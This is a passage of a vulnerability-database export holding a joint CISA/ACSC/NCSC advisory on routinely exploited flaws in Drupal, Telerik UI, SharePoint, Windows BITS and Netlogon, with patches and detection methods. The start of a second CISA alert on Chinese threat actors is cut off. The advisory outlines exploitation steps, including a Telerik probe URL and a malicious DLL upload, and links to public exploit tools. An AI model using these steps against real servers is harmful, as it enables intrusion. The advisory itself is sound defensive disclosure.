Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised. Failed exploit attempts may result in a denial-of-service condition. A remote user can send specially crafted data to trigger a flaw in the processing of renderable arrays in the Form Application Programming Interface, or API, and cause the target system to render the user-supplied data and execute arbitrary code on the target system.\n\n_Malware campaigns include the Muhstik botnet and XMRig Monero Cryptocurrency mining._\n\n| \n\n**_Fix_**\n\n[Patch Available](<https://www.drupal.org/sa-core-2018-002>) \n \n_**Recommended Mitigations**_\n\n * Upgrade to the most recent version of Drupal 7 or 8 core. If running 7.x, upgrade to Drupal 7.58. If running 8.5.x, upgrade to Drupal 8.5.1. \n \n_**Detection Methods**_\n\n * Dan Sharvit developed a tool to check for the CVE-2018-7600 vulnerability on several URLs: [https://github.com/sl4cky/CVE-2018-7600-Masschecker/blob/master/Drupalgeddon-mass.py.](<https://github.com/sl4cky/CVE-2018-7600-Masschecker/blob/master/Drupalgeddon-mass.py>) \n \n_**Vulnerable Technologies and Versions**_\n\n * Drupal versions before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 are affected. \n \n_**References**_\n\n * [Drupal Security Advisory: Drupal Core - Highly Critical - Remote Code Execution - SA-CORE-2018-002](<https://www.drupal.org/sa-core-2018-002>)\n * [NIST NVD Vulnerability Detail: CVE-2018-7600](<https://nvd.nist.gov/vuln/detail/CVE-2018-7600>)\n * [Drupal Groups: FAQ about SA-CORE-2018-002](<https://groups.drupal.org/security/faq-2018-002>) \n \n_Table 12: CVE 2019-18935 Vulnerability Details_\n\nTelerik UI for ASP.NET AJAX Insecure Deserialization (CVE 2019-18935) \n--- \n \n_**Vulnerability Description**_\n\nTelerik User Interface (UI) for ASP.NET does not properly filter serialized input for malicious content. Versions prior to R1 2020 (2020.1.114) are susceptible to remote code execution attacks on affected web servers due to a deserialization vulnerability.\n\n| \n\n**_CVS 3.0_**\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nThe Telerik UI does not properly sanitize serialized data inputs from the user. This vulnerability leads to the application being vulnerable to RCE attacks that may lead to a full system compromise. A vulnerable `HTTP POST` parameter `rauPostData` makes use of a vulnerable function/object `AsyncUploadHandler`. The object/function uses the `JavaScriptSerializer.Deserialize()` method, which not not properly sanitize the serialized data during the deserialization process. This issue is attacked by:\n\n 1. Determining the vulnerable function is available/registered: ` http://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau`,\n 2. Determining if the version running is vulnerable by querying the UI, and\n 3. Creating an object (e.g., malicious mixed-mode DLL with native OS commands or Reverse Shell) and uploading the object via rauPostData parameter along with the proper encryption key.\n\n_There were two malware campaigns associated with this vulnerability:_\n\n * _Netwalker Ransomware and_\n * _Blue Mockbird Monero Cryptocurrency-mining._\n| \n\n_**Fix**_\n\n[Patch Available](<https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization>) \n \n_**Recommended Mitigations**_\n\n * Update to the most recent version of Telerik UI for ASP.NET AJAX (at least 2020.1.114 or later). \n \n_**Detection Methods**_\n\n * ACSC has an example PowerShell script that can be used to identify vulnerable Telerik UI DLLs on Windows web server hosts.\n * Vulnerable hosts should be reviewed for evidence of exploitation. Indicators of exploitation can be found in IIS HTTP request logs and within the Application Windows event log. Details of the above PowerShell script and exploitation detection recommendations are available in [ACSC Advisory 2020-004](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2020-004-remote-code-execution-vulnerability-being-actively-exploited-vulnerable-versions-telerik-ui-sophisticated-actors>).\n * Exploitation of this and previous Telerik UI vulnerabilities commonly resulted in the installation of web shell malware. NSA provides guidance on [detecting and preventing web shell malware](<https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF>). \n \n**_Vulnerable Technologies and Versions_**\n\nTelerik UI for ASP.NET AJAX versions prior to R1 2020 (2020.1.114) are affected. \n \n**_References_**\n\n * [Telerik UI for ASP.NET AJAX security advisory \u2013 Allows JavaScriptSerializer Deserialization](<https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization>)\n * [NIST NVD Vulnerability Detail: CVE-2019-18935](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>)\n * [ACSC Advisory 2020-004: Remote Code Execution Vulnerability Being Actively Exploited in Vulnerable Versions of Telerik UI by Sophisticated Actors](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2020-004-remote-code-execution-vulnerability-being-actively-exploited-vulnerable-versions-telerik-ui-sophisticated-actors>)\n * [Bishop Fox \u2013 CVE-2019-18935: Remote Code Execution via Insecure Deserialization in Telerik UI](<https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui>)\n * [FBI FLASH: Indicators Associated with Netwalker Ransomware](<https://www.ic3.gov/Media/News/2020/200929-2.pdf>) \n \n_Table 13: CVE-2019-0604 Vulnerability Details_\n\nMicrosoft SharePoint Remote Code Execution (CVE-2019-0604) \n--- \n \n_**Vulnerability Description**_\n\nA vulnerability in an XML deserialization component within Microsoft SharePoint allowed remote attackers to execute arbitrary code on vulnerable Microsoft SharePoint servers.\n\n| \n\n**_CVSS 3.0_**\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nThis vulnerability was typically exploited to install webshell malware to vulnerable hosts. A webshell could be placed in any location served by the associated Internet Information Services (IIS) web server and did not require authentication. These web shells would commonly be installed in the Layouts folder within the Microsoft SharePoint installation directory, for example:\n\n`C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\<version_number>\\Template\\Layouts`\n\nThe `xmlSerializer.Deserialize()` method does not adequately sanitize user input that is received from the PickerEnitity/ValidateEnity (`picker.aspx`) functions in the serialized XML payloads. Once the serialized XML payload is deserialized, the XML code is evaulated for relevant XML commands and stings. A user can attack .Net based XML parsers with XMLNS payloads using the <`system:string`> tag and embedding malicious operating system commands. \n\n_The exploit was used in malware phishing and the WickrMe/Hello Ransomware campaigns._\n\n| \n\n_**Fix**_\n\n[Patch Available](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-0604>) \n \n_**Recommended Mitigations**_\n\n * Upgrade on-premise installations of Microsoft Sharepoint to the latest available version (Microsoft SharePoint 2019) and patch level.\n * On-premise Microsoft SharePoint installations with a requirement to be accessed by internet-based remote staff should be moved behind an appropriate authentication mechanism such as a VPN, if possible. \n \n_**Detection Methods**_\n\n * The patch level of on-premise Microsoft SharePoint installations should be reviewed for the presence of relevant security updates as outlined in the Microsoft SharePoint security advisory.\n * Vulnerable SharePoint servers should be reviewed for evidence of attempted exploitation. [ACSC Advisory 2019-125](<https://www.cyber.gov.au/acsc/view-all-content/advisories/acsc-advisory-2019-125-targeting-microsoft-sharepoint-cve-2019-0604>) contains advice on reviewing IIS HTTP request logs for evidence of potential exploitation.\n * NSA provides guidance on [detecting and preventing web shell malware](<https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF>). \n \n_**Vulnerable Technologies and Versions**_\n\nAt the time of the vulnerability release, the following Microsoft SharePoint versions were affected: Microsoft Sharepoint 2019, Microsoft SharePoint 2016, Microsoft SharePoint 2013 SP1, and Microsoft SharePoint 2010 SP2. \n \n_**References**_\n\n * [Microsoft \u2013 SharePoint Remote Code Execution Vulnerability Security Advisory](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-0604>)\n * [NIST NVD Vulnerability Detail: CVE-2019-0604](<https://nvd.nist.gov/vuln/detail/cve-2019-0604>)\n * [ACSC Advisory 2019-125: Targeting of Microsoft SharePoint CVE-2019-0604](<https://www.cyber.gov.au/acsc/view-all-content/advisories/acsc-advisory-2019-125-targeting-microsoft-sharepoint-cve-2019-0604>)\n * [NSCS Alert: Microsoft SharePoint Remote Code Vulnerability](<https://www.ncsc.gov.uk/news/alert-microsoft-sharepoint-remote-code-vulnerability>) \n \n_Table 14: CVE-2020-0787 Vulnerability Details_\n\nWindows Background Intelligent Transfer Service Elevation of Privilege (CVE-2020-0787) \n--- \n \n_**Vulnerability Description**_\n\nThe Windows Background Intelligent Transfer Service (BITS) is vulnerable to a privilege elevation vulnerability if it improperly handles symbolic links. An actor can exploit this vulnerability to execute arbitrary code with system-level privileges.\n\n| \n\n_**CVSS 3.0**_\n\nHigh \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nTo exploit this vulnerability, an actor would first need to have the ability to execute arbitrary code on a vulnerable Windows host.\n\nActors exploiting this vulnerability commonly used the proof of concept code released by the security researcher who discovered the vulnerability. If an actor left the proof of concept exploit\u2019s working directories unchanged, then the presence of the following folders could be used as an indicator of exploitation:\n\n`C:\\Users\\<username>\\AppData\\Local\\Temp\\workspace \nC:\\Users\\<username>\\AppData\\Local\\Temp\\workspace\\mountpoint \nC:\\Users\\<username>\\AppData\\Local\\Temp\\workspace\\bait`\n\n_The exploit was used in Maze and Egregor ransomware campaigns._\n\n| \n\n_**Fix**_\n\n[Patch Available](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0787>) \n \n_**Recommended Mitigations**_\n\n * Apply the security updates as recommended in the Microsoft Netlogon security advisory. \n \n_**Detection Methods**_\n\n * The patch level of all Microsoft Windows installations should be reviewed for the presence of relevant security updates as outlined in the Microsoft BITS security advisory. \n \n_**Vulnerable Technologies and Versions**_\n\nWindows 7 for 32-bit and x64-based Systems Service Pack 1, 8.1 for 32-bit and x64-based systems, RT 8.1, 10 for 32-bit and x64-based Systems, 10 1607 for 32-bit and x64-based Systems, 10 1709 for 32-bit and x64-based and ARM64-based Systems, 10 1803 for 32-bit and ARM64-based and x64-based Systems, 10 1809 for 32-bit and ARM64-based and x64-based Systems, 10 1903 for 32-bit and ARM64-based and x64-based Systems, 10 1909 for 32-bit, and ARM64-based and x64-based Systems are vulnerable.\n\nWindows Server 2008 R2 for x64-based Systems Service Pack 1, 2008 R2 for x64-based Systems Service Pack 1 (Server Core Installation), 2008 for 32-bit Systems Service Pack 2, 2008 for 32-bit Systems Service Pack 2 (Server Core Installation), 2012, 2012 (Server Core Installation), 2012 R2, 2012 R2 (Server Core Installation), 2016, 2016 (Server Core Installation), 2019, 2019 (Server Core Installation), 1803 (Server Core Installation), 1903 (Server Core Installation), and 1909 (Server Core Installation) are also vulnerable. \n \n_**References**_\n\n * [Microsoft \u2013 Windows Background Intelligent Transfer Service Elevation of Privilege Security Advisory](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0787>)\n * [NIST NVD Vulnerability Detail: CVE-2020-0787](<https://nvd.nist.gov/vuln/detail/CVE-2020-0787>)\n * [Security Researcher \u2013 Proof of Concept Exploit Code](<https://itm4n.github.io/cve-2020-0787-windows-bits-eop/>) \n \n_Table 15: CVE-2020-1472 Vulnerability Details_\n\nMicrosoft Netlogon Elevation of Privilege (CVE-2020-1472) \n--- \n \n_**Vulnerability Description**_\n\nThe Microsoft Windows Netlogon Remote Protocol (MS-NRPC) reuses a known, static, zero-value initialization vector (VI) in AES-CFB8 mode, which could allow an unauthenticated attacker to impersonate a domain-joined computer including a domain controller, and potentially obtain domain administrator privileges.\n\n| \n\n_**CVSS 3.0**_\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nTo exploit this vulnerability, an actor would first need to have an existing presence on an internal network with network connectivity to a vulnerable Domain Controller, assuming that Domain Controllers are not exposed to the internet.\n\nThe immediate effect of successful exploitation results in the ability to authentication to the vulnerable Domain Controller with Domain Administrator level credentials. In compromises exploiting this vulnerability, exploitation was typically followed immediately by dumping all hashes for Domain accounts.\n\nThreat actors were seen combining the MobileIron CVE-2020-15505 vulnerability for initial access, then using the Netlogon vulnerability to facilitate lateral movement and further compromise of target networks.\n\n_A nation-state APT group has been observed exploiting this vulnerability_.[[18](<https://www.cyber.nj.gov/alerts-advisories/apt10-adds-zerologon-exploitation-to-ttps>)]\n\n| \n\n_**Fix**_\n\n[Patch Available](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472>) \n \n_**Recommended Mitigations**_\n\n * Apply the security updates as recommended in the Microsoft Netlogon security advisory. \n \n_**Detection Methods**_\n\n * The patch level of Domain Controllers should be reviewed for the presence of relevant security updates as outlined in the Microsoft Netlogon security advisory.\n * Reviewing and monitoring Windows Event Logs can identify potential exploitation attempts. However, further investigation would still be required to eliminate legitimate activity. Further information on these event logs is available in the [ACSC 2020-016 Advisory](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2020-016-zerologon-netlogon-elevation-privilege-vulnerability-cve-2020-1472>). \n \n_**Vulnerable Technologies and Versions**_\n\nAt the time of the vulnerability release, the following Microsoft Windows Server versions were vulnerable: all versions of Windows Server 2019; all versions of Windows Server 2016; Windows Server 2012 R2; Windows Server 2012; Windows Server 2008 R2 SP1; and Windows Server versions 1909/1903/1809. \n \n_**References**_\n\n * [Microsoft \u2013 Netlogon Elevation of Privilege Vulnerability](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472>)\n * [NIST NVD Vulnerability Detail: CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/cve-2020-1472>)\n * [ACSC 2020-016 Netlogon Advisory](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2020-016-zerologon-netlogon-elevation-privilege-vulnerability-cve-2020-1472>)\n * [CISA-FBI Joint Cybersecurity Advisory: APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://us-cert.cisa.gov/ncas/alerts/aa20-283a>)\n * [CISA-FBI Joint Cybersecurity Advisory: Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets](<https://us-cert.cisa.gov/ncas/alerts/aa20-296a>)\n * [ACSC Advisory 2020-016: \"Zerologon\" \u2013 Netlogon Elevation of Privilege Vulnerability (CVE-2020-1472)](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2020-016-zerologon-netlogon-elevation-privilege-vulnerability-cve-2020-1472>)\n * [NCSC Alert: UK Organisations Should Patch Netlogon Vulnerability (Zerologon)](<https://www.ncsc.gov.uk/news/alert-organisations-should-patch-netlogon-vulnerability>) \n \nFor additional general best practices for mitigating cyber threats, see the joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/ncas/alerts/aa20-245a>) and ACSC\u2019s [Essential Eight](<https://www.cyber.gov.au/acsc/view-all-content/essential-eight>) mitigation strategies.\n\n### Additional Resources\n\n#### Free Cybersecurity Services\n\nCISA offers several free cyber hygiene vulnerability scanning and web application services to help U.S. federal agencies, state and local governments, critical infrastructure, and private organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors. For more information about [CISA\u2019s free services](<https://www.cisa.gov/cyber-hygiene-services>), or to sign up, email [vulnerability_info@cisa.dhs.gov](<mailto:vulnerability_info@cisa.dhs.gov>).\n\n#### Cyber Essentials\n\n[CISA\u2019s Cyber Essentials](<https://www.cisa.gov/cyber-essentials>) is a guide for leaders of small businesses as well as leaders of small and local government agencies to develop an actionable understanding of where to start implementing organizational cybersecurity practices.\n\n#### Cyber.gov.au \n\n[ACSC\u2019s website](<https://www.cyber.gov.au/>) provides advice and information about how to protect individuals and families, small- and medium-sized businesses, large organizations and infrastructure, and government organizations from cyber threats.\n\n#### ACSC Partnership Program\n\nThe ACSC Partnership Program enables Australian organizations and individuals to engage with ACSC and fellow partners, drawing on collective understanding, experience, skills, and capability to lift cyber resilience across the Australian economy.\n\nAustralian organizations, including government and those in the private sector as well individuals, are welcome to sign up at [Become an ACSC partner](<https://www.cyber.gov.au/partner-hub/become-a-partner>) to join.\n\n#### NCSC 10 Steps\n\nThe NCSC offers [10 Steps to Cyber Security](<https://urldefense.us/v3/__https:/www.ncsc.gov.uk/collection/10-steps__;!!BClRuOV5cvtbuNI!T8Z-cMwGes9PcbBL1utGkQdFFUBjxNk7elZg1ioCK-eU1tUQokVWKONDFlwSGb1kHLNs74-CWWI8Rbcz$>), providing detailed guidance on how medium and large organizations can manage their security.\n\nOn vulnerabilities specifically, the NCSC has [guidance to organizations on establishing an effective vulnerability management process](<https://urldefense.us/v3/__https:/www.ncsc.gov.uk/guidance/vulnerability-management__;!!BClRuOV5cvtbuNI!T8Z-cMwGes9PcbBL1utGkQdFFUBjxNk7elZg1ioCK-eU1tUQokVWKONDFlwSGb1kHLNs74-CWfrZnnW4$>), focusing on the management of widely available software and hardware.\n\n### Contact Information\n\nTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at[ www.fbi.gov/contact-us/field](<https://www.fbi.gov/contact-us/field-offices>), or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. If you have any further questions related to this Joint Cybersecurity Advisory, or to request incident response resources or technical assistance related to these threats, contact CISA at [Central@cisa.gov](<mailto:Central@cisa.gov>).\n\n### References\n\n[[1] NSA-CISA-FBI Cybersecurity Advisory: Russian SVR Targets U.S. and Allied Networks](<https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF>)\n\n[[2] CISA-FBI-NSA-NCSC Advisory: Further TTPs Associated with SVR Cyber Actors](<https://us-cert.cisa.gov/ncas/current-activity/2021/05/07/joint-ncsc-cisa-fbi-nsa-cybersecurity-advisory-russian-svr>)\n\n[[3] NSA Cybersecurity Advisory: Chinese State-Sponsored Actors Exploit Publicly Known Vulnerabilities](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>)\n\n[[4] ACSC Advisory 2020-001-4: Remediation for Critical Vulnerability in Citrix Application Delivery Controller and Citrix Gateway](<https://www.cyber.gov.au/acsc/view-all-content/advisories/2020-001-4-remediation-critical-vulnerability-citrix-application-delivery-controller-and-citrix-gateway>)\n\n[[5] NCSC Alert: Actors Exploiting Citrix Products Vulnerability](<https://www.ncsc.gov.uk/news/citrix-alert>)\n\n[[6] Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets](<https://us-cert.cisa.gov/ncas/alerts/aa20-296a>)\n\n[[7] CISA-FBI Joint Cybersecurity Advisory: Top 10 Routinely Exploited Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>)\n\n[[8] ACSC Alert: APT Exploitation of Fortinet Vulnerabilities](<https://www.cyber.gov.au/acsc/view-all-content/alerts/apt-exploitation-fortinet-vulnerabilities>)\n\n[[9] NCSC Alert: Alert: Critical Risk to Unpatched Fortinet VPN Devices](<https://www.ncsc.gov.uk/news/critical-risk-unpatched-fortinet-vpn-devices>)\n\n[[10] NSA Cybersecurity Advisory: Mitigating Recent VPN Vulnerabilities](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/Mitigating Recent VPN Vulnerabilities - Copy.pdf>)\n\n[[11] NCSC Alert: Vulnerabilities Exploited in VPN Products Used Worldwide](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>)\n\n[[12] NCSC-Canada\u2019s Communications Security Establishment-NSA-CISA Advisory: APT29 Targets COVID-19 Vaccine Development (CSE)](<https://media.defense.gov/2020/Jul/16/2002457639/-1/-1/0/NCSC_APT29_ADVISORY-QUAD-OFFICIAL-20200709-1810.PDF>)\n\n[[13] ACSC Advisory: Summary of Tactics, Techniques and Procedures Used to Target Australian Networks](<https://www.cyber.gov.au/acsc/view-all-content/advisories/summary-tactics-techniques-and-procedures-used-target-australian-networks>)\n\n[[14] CISA Alert: Continued Exploitation of Pulse Secure VPN Vulnerability](<https://us-cert.cisa.gov/ncas/alerts/aa20-010a>)\n\n[[15] CISA Alert: Continued Threat Actor Exploitation Post Pulse Secure VPN Patching](<https://us-cert.cisa.gov/ncas/alerts/aa20-107a>)\n\n[[16] CISA Emergency Directive (ED 20-03): Windows DNS Server Vulnerability](<https://www.cisa.gov/blog/2020/07/16/emergency-directive-ed-20-03-windows-dns-server-vulnerability>)\n\n[[17] NCSC Alert: Alert: Multiple Actors are Attempting to Exploit MobileIron Vulnerability CVE 2020-15505](<https://www.ncsc.gov.uk/news/alert-multiple-actors-attempt-exploit-mobileiron-vulnerability>)\n\n[[18] NJCCIC Alert: APT10 Adds ZeroLogon Exploitation to TTPs](<https://www.cyber.nj.gov/alerts-advisories/apt10-adds-zerologon-exploitation-to-ttps>)\n\n### Revisions\n\nInitial Version: July 28, 2021|August 4, 2021: Fixed typo|August 20, 2021: Adjusted vendor name for CVE-2020-1472\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-08-20T12:00:00", "type": "ics", "title": "Top Routinely Exploited Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2018-13379", "CVE-2018-7600", "CVE-2019-0604", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2019-5591", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-12812", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-5902", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104"], "modified": "2021-08-20T12:00:00", "id": "AA21-209A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-209a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:34:12", "description": "### Summary\n\n_This Alert uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) framework. See the [ATT&CK for Enterprise](<https://attack.mitre.org/matrices/enterprise/>) framework for all referenced threat actor techniques._\n\n_**Note**: on October 20, 2020, the National Security Agency (NSA) released a [cybersecurity advisory](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>) providing information on publicly known vulnerabilities exploited by Chinese state-sponsored cyber actors to target computer networks holding sensitive intellectual property, economic, political, and military information. This Alert has been updated to include information on vulnerabilities exploited by Chinese state-sponsored actors (see Table 4)._\n\nIn light of heightened tensions between the United States and China, the Cybersecurity and Infrastructure Security Agency (CISA) is providing specific Chinese government and affiliated cyber threat actor tactics, techniques, and procedures (TTPs) and recommended mitigations to the cybersecurity community to assist in the protection of our Nation\u2019s critical infrastructure. In addition to the recommendations listed in the Mitigations section of this Alert, CISA recommends organizations take the following actions.\n\n 1. **Adopt a state of heightened awareness. **Minimize gaps in personnel availability, consistently consume relevant threat intelligence, and update emergency call trees.\n 2. **Increase organizational vigilance.** Ensure security personnel monitor key internal security capabilities and can identify anomalous behavior. Flag any known Chinese indicators of compromise (IOCs) and TTPs for immediate response.\n 3. **Confirm reporting processes.** Ensure personnel know how and when to report an incident. The well-being of an organization\u2019s workforce and cyber infrastructure depends on awareness of threat activity. Consider [reporting incidents](<https://us-cert.cisa.gov/report>) to CISA to help serve as part of CISA\u2019s early warning system (see the Contact Information section below).\n 4. **Exercise organizational incident response plans.** Ensure personnel are familiar with the key steps they need to take during an incident. Do they have the accesses they need? Do they know the processes? Are various data sources logging as expected? Ensure personnel are positioned to act in a calm and unified manner.\n\n### Technical Details\n\n#### China Cyber Threat Profile\n\nChina has a history of using national military and economic resources to leverage offensive cyber tactics in pursuing its national interests. The \u201cMade in China 2025\u201d 10-year plan outlines China\u2019s top-level policy priorities.[[1](<https://www.whitehouse.gov/wp-content/uploads/2018/06/FINAL-China-Technology-Report-6.18.18-PDF.pdf>)],[[2](<https://fas.org/sgp/crs/row/IF10964.pdf>)] China may seek to target the following industries deemed critical to U.S. national and economic interests: new energy vehicles, next generation information technology (IT), biotechnology, new materials, aerospace, maritime engineering and high-tech ships, railway, robotics, power equipment, and agricultural machinery.[[3](<https://www.cfr.org/backgrounder/made-china-2025-threat-global-trade>)] China has exercised its increasingly sophisticated capabilities to illegitimately obtain U.S. intellectual property (IP), suppress both social and political perspectives deemed dangerous to China, and harm regional and international opponents.\n\nThe U.S. Intelligence Community and various private sector threat intelligence organizations have identified the Chinese People\u2019s Liberation Army (PLA) and Ministry of State Security (MSS) as driving forces behind Chinese state-sponsored cyberattacks\u2013either through contractors in the Chinese private sector or by the PLA and MSS entities themselves. China continues to engage in espionage-related activities that include theft of sensitive information such as innovation capital, IP, and personally identifiable information (PII). China has demonstrated a willingness to push the boundaries of their activities to secure information critical to advancing their economic prowess and competitive advantage.\n\n#### Chinese Cyber Activity\n\nAccording to open-source reporting, offensive cyber operations attributed to the Chinese government targeted, and continue to target, a variety of industries and organizations in the United States, including healthcare, financial services, defense industrial base, energy, government facilities, chemical, critical manufacturing (including automotive and aerospace), communications, IT, international trade, education, videogaming, faith-based organizations, and law firms.\n\nAdditionally, numerous Department of Justice (DOJ) indictments over several years provide evidence to suggest Chinese threat actors continuously seek to illegally obtain and exfiltrate U.S. IP. Their targets also include western companies with operations inside China.\n\nPublic reporting that associates Chinese actors with a range of high-profile attacks and offensive cyber activity includes:\n\n * **February 2013 \u2013 Cyber Threat Intelligence Researchers Link Advanced Persistent Threat (APT) 1 to China:** a comprehensive report publicly exposed APT1 as part of China\u2019s military cyber operations and a multi-year effort that exfiltrated IP from roughly 141 companies spanning 20 major industries.[[4](<https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf>)] APT1 established access to the victims\u2019 networks and methodically exfiltrated IP across a large range of industries identified in China\u2019s 12th 5-Year Plan. A year later, the DOJ indicted Chinese cyber threat actors assigned to PLA Unit 61398 for the first time (also highlighted in the report).[[5](<https://www.justice.gov/opa/pr/us-charges-five-chinese-military-hackers-cyber-espionage-against-us-corporations-and-labor>)]\n * **April 2017 \u2013 Chinese APTs Targeting IP in 12 Countries:** CISA announced Chinese state-backed APTs carried out a multi-year campaign of cyber-enabled IP theft that targeted global technology service providers and their customers. The threat actors leveraged stolen administrative credentials (local and domain) and placed sophisticated malware on critical systems in an effort to steal the IP and sensitive data of companies located in at least 12 countries.[[6](<https://us-cert.cisa.gov/ncas/alerts/TA17-117A>)]\n * **December 2018 \u2013 Chinese Cyber Threat Actors Indicted for Compromising Managed Service Providers (MSPs):** DOJ indicted two Chinese cyber threat actors believed to be associated with APT10, who targeted MSPs and their large customer base through phishing and spearphishing campaigns aimed at exfiltrating sensitive business data and, possibly, PII.[[7](<https://www.justice.gov/opa/speech/deputy-attorney-general-rod-j-rosenstein-announces-charges-against-chinese-hackers>)] CISA also briefed stakeholders on Chinese APT groups who targeted MSPs and their customers to steal data and further operationalize commercial and economic espionage.[[8](<https://us-cert.cisa.gov/sites/default/files/publications/Chinese-Cyber-Activity-Targeting-Managed-Service-Providers.pdf>)]\n * **February 2020 \u2013 China\u2019s Military Indicted for 2017 Equifax Hack:** DOJ indicted members of China\u2019s PLA for stealing large amounts of PII and IP. The Chinese cyber threat actors exploited a vulnerability in the company\u2019s dispute resolution website to enter the network, conduct reconnaissance, upload malware, and steal credentials to extract the targeted data. The breach impacted roughly half of all American citizens and stole Equifax\u2019s trade secrets.[[9](<https://www.justice.gov/opa/speech/attorney-general-william-p-barr-announces-indictment-four-members-china-s-military>)]\n * **May 2020 \u2013 China Targets COVID-19 Research Organizations:** the Federal Bureau of Investigation (FBI) and CISA reported the targeting and compromise of U.S. organizations conducting COVID-19-related research by cyber actors affiliated with China.[[10](<https://www.cisa.gov/news/2020/05/13/fbi-and-cisa-warn-against-chinese-targeting-covid-19-research-organizations>)] Large-scale password spraying campaigns were a commonly observed tactic in illicitly obtaining IP related to vaccines, treatments, and testing from networks and personnel affiliated with COVID-19-related research.[[11](<https://us-cert.cisa.gov/ncas/alerts/AA20126A>)],[[12](<https://us-cert.cisa.gov/ncas/current-activity/2020/08/03/chinese-malicious-cyber-activity >)]\n\n#### Common TTPs of Publicly Known Chinese Threat Actors\n\nThe section below provides common, publicly known, TTPs employed by Chinese threat actors, which map to the MITRE ATT&CK framework. Where possible, the tables include actions for detection and mitigation. This section is not exhaustive and does not detail all TTPs or detection and mitigation actions. \n\n#### PRE-ATT&CK TTPs\n\nChinese threat actors commonly use the techniques listed in table 1 to achieve reconnaissance (_Technical Information Gathering_ [[TA0015](<https://attack.mitre.org/tactics/TA0015/>)]), staging (_Stage Capabilities_ 